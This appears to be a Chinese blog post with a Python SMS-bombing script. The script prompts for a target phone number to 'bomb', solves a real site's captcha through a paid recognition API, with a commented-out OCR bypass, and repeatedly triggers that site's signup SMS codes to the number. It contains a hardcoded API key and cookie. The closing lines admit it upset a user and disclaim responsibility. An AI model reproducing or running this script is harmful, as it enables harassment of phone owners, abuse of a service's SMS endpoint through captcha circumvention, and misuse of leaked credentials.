import requests
import json
import pytesseract
from time import sleep
from collections import defaultdict
from PIL import Image, ImageDraw
import sys, os
import base64

# tessdata_dir_config = '--tessdata-dir "c:/Program Files (x86)/Tesseract-OCR/tessdata"'
#
# # 获取图片中像素点数量最多的像素
# def get_threshold(image):
#     pixel_dict = defaultdict(int)
#
#     # 像素及该像素出现次数的字典
#     rows, cols = image.size
#     for i in range(rows):
#         for j in range(cols):
#             pixel = image.getpixel((i, j))
#             pixel_dict[pixel] += 1
#
#     count_max = max(pixel_dict.values()) # 获取像素出现出多的次数
#     pixel_dict_reverse = {v:k for k,v in pixel_dict.items()}
#     threshold = pixel_dict_reverse[count_max] # 获取出现次数最多的像素点
#
#     return threshold
#
# # 按照阈值进行二值化处理
# # threshold: 像素阈值
# def get_bin_table(threshold):
#     # 获取灰度转二值的映射table
#     table = []
#     for i in range(256):
#         rate = 0.1 # 在threshold的适当范围内进行处理
#         if threshold*(1-rate)<= i <= threshold*(1+rate):
#             table.append(1)
#         else:
#             table.append(0)
#     return table
#
# # 去掉二值化处理后的图片中的噪声点
# def cut_noise(image):
#
#     rows, cols = image.size # 图片的宽度和高度
#     change_pos = [] # 记录噪声点位置
#
#     # 遍历图片中的每个点，除掉边缘
#     for i in range(1, rows-1):
#         for j in range(1, cols-1):
#             # pixel_set用来记录该店附近的黑色像素的数量
#             pixel_set = []
#             # 取该点的邻域为以该点为中心的九宫格
#             for m in range(i-1, i+2):
#                 for n in range(j-1, j+2):
#                     if image.getpixel((m, n)) != 1: # 1为白色,0位黑色
#                         pixel_set.append(image.getpixel((m, n)))
#
#             # 如果该位置的九宫内的黑色数量小于等于4，则判断为噪声
#             if len(pixel_set) <= 4:
#                 change_pos.append((i,j))
#
#     # 对相应位置进行像素修改，将噪声处的像素置为1（白色）
#     for pos in change_pos:
#         image.putpixel(pos, 1)
#
#     return image # 返回修改后的图片
#
# # 识别图片中的数字加字母
# # 传入参数为图片路径，返回结果为：识别结果
# def OCR_lmj(img_path):
#     image = Image.open(img_path) # 打开图片文件
#     imgry = image.convert('L')  # 转化为灰度图
#     width=imgry.size[0]*4
#     length=imgry.size[1]*4
#     image = image.resize((width, length), Image.ANTIALIAS)
#     imgry=imgry.resize((width,length),Image.ANTIALIAS)
#     #image.show()
#     #imgry.show()
#     # 获取图片中的出现次数最多的像素，即为该图片的背景
#     max_pixel = get_threshold(imgry)
#
#     # 将图片进行二值化处理
#     # 注意，是否使用二值化要看具体情况，有些图片二值化之后，可能关键信息会丢失，反而识别不出来
#     table = get_bin_table(threshold=70)
#     out = imgry.point(table, '1')
#
#     # 去掉图片中的噪声（孤立点）
#     out = cut_noise(out)
#
#     #保存图片
#     out.save('./变换后验证码.jpg')
#
#     # 仅识别图片中的数字
#     #text = pytesseract.image_to_string(out, config='digits')
#     # 识别图片中的数字和字母
#     text = pytesseract.image_to_string(out,config='--psm 7')
#
#     # 去掉识别结果中的特殊字符
#     exclude_char_list = ' .:\\|\'\"?![],()~@#$%^&*_+-={};<>/￥'
#     text = ''.join([x for x in text if x not in exclude_char_list])
#     #print(text)
#     return text

 # 识别验证码
def verify_code(base64_str):
    appkey = "d33906c525ed719b751c1b40f953816c"
    verify_code_juhe_url = "http://op.juhe.cn/vercode/index"
    print("开始上传云打码")
    url = verify_code_juhe_url
    params = {
        "key": appkey,
        "codeType": "1004",
        "base64Str": base64_str,
        "dtype": "json"
    }
    try:
        res = requests.post(url=url, params=params, timeout=60)
        res = json.loads(res.text)
    except Exception:
        print("上传云打码失败！！！")
    else:
        print("上传云打码成功！！！")
        return res['result']



def get_params():
	response=requests.get("http://www.demlution.com/dapi/verification_code/get_captcha",headers=headers)
    res=list(eval(response.text).values())
    key=res[0]
    img=res[1]
    return key,img


def get_image(img):
    bs=''
    html = requests.get("http://www.demlution.com"+img, headers=headers)
    if html.status_code == 200:
        bs = base64.b64encode(html.content)
        with open( "./%s.jpg" %("验证码"), "wb") as f:
            f.write(html.content)
        f.close()
    return bs


def send(code,mykey):
    #ensure_ascii=False
    r=requests.post('http://www.demlution.com/dapi/verification_code/send_demlution_signup_code',
                    data=json.dumps({"mobile":tel_num,"challenge":code,"key":mykey,"type": "signup"}),
                    headers=headers)
    print(r.text)


def main():
    mykey, img = get_params()
    mykey = str(mykey)
    print(mykey)
    bs=get_image(img)
    code=verify_code(bs)
    code=str(code).upper()
    print(code)
    sleep(2)
    send(code,mykey)

if __name__ == '__main__':
    tessdata_dir_config = '--tessdata-dir "c://Program Files (x86)//Tesseract-OCR//tessdata"'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36',
        'Cookie': 'da_a=f3d3831b018a4f5ebf27d8f746332044',
        'Referer': 'http://www.demlution.com/'
    }
    tel_num = input("请输入要轰炸的手机号码:")
    for i in range(5):
        main()

结果：

当我运行之后，我就完蛋了。正好碰到我的测试用户今天很生气，然后如下图

重点：这个只是做着玩一下的，别真的去骚扰谁，后果我可不负责，不说了我要赶紧去道歉了